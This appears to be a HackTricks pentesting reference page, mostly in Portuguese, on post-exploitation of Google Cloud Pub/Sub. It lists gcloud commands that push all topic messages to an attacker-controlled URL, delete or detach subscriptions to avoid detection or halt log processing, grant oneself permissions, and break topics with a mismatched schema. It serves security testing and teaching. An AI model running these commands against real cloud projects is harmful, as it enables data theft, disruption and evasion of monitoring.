GCP - Pub/Sub Post Exploitation

Support HackTricks

Pub/Sub

Para mais informações sobre Pub/Sub, confira a seguinte página:

GCP - Pub/Sub Enum

pubsub.topics.publish

Publicar uma mensagem em um tópico, útil para enviar dados inesperados e acionar funcionalidades inesperadas ou explorar vulnerabilidades:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Útil para impedir que uma assinatura receba mensagens, talvez para evitar detecção.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Útil para impedir que uma assinatura receba mensagens, talvez para evitar detecção. É possível excluir um tópico mesmo com assinaturas anexadas a ele.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Use esta permissão para atualizar algumas configurações do tópico para interrompê-lo, como --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Dê a si mesmo permissão para realizar qualquer um dos ataques anteriores.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Obtenha todas as mensagens em um servidor web:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Crie uma assinatura e use-a para puxar mensagens:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Excluir uma assinatura pode ser útil para interromper um sistema de processamento de logs ou algo similar:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Use esta permissão para atualizar alguma configuração para que as mensagens sejam armazenadas em um local que você possa acessar (URL, Big Query table, Bucket) ou apenas para interrompê-lo.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Conceda a si mesmo as permissões necessárias para realizar qualquer um dos ataques comentados anteriormente.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Anexe um schema a um tópico para que as mensagens não o cumpram e, portanto, o tópico seja interrompido. Se não houver nenhum schema, você pode precisar criar um.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Isso pode parecer que ao deletar um schema você será capaz de enviar mensagens que não cumprem com o schema. No entanto, como o schema será deletado, nenhuma mensagem entrará de fato no tópico. Então isso é INÚTIL:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Conceda a si mesmo as permissões necessárias para realizar qualquer um dos ataques comentados anteriormente.

pubsub.snapshots.create, pubsub.snapshots.seek

Isso criará um snapshot de todas as mensagens não confirmadas e as colocará de volta na assinatura. Não é muito útil para um atacante, mas aqui está:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Support HackTricks

Last updated